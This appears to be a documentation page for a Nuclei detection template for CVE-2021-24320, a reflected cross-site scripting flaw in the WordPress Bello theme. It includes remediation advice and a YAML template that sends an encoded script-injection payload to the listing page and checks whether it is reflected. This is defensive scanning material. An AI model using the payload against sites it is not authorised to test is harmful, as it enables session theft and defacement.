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WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting

ID: CVE-2021-24320

Severity: medium

Author: daffainfo

Tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,bold-themes

Description

Section titled “Description”

WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24320


info:
  name: WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability.
  reference:
    - https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt
    - https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24320
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24320
    cwe-id: CWE-79
    epss-score: 0.00123
    epss-percentile: 0.46682
    cpe: cpe:2.3:a:bold-themes:bello:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: "bold-themes"
    product: bello
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,bold-themes
flow: http(1) && http(2)


http:
  - method: GET
    path:
      - '{{BaseURL}}'
      - '{{BaseURL}}/wp-content/themes/bello/readme.txt'


    stop-at-first-match: true
    matchers:
      - type: word
        internal: true
        words:
          - 'wp-content/themes/bello/fonts'
          - 'bold-themes.com/bello'
        condition: or


  - method: GET
    path:
      - '{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a0047304502204f942ce0e0b5460e47c0b46a8531c02cdf5d286ab87fa0c2d4fcac78dd50646e022100c3080f8dc4b6962f5546dc41a9aa7bda485a1e1dae13caf4c425746658340ca5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24320.yaml"

View on Github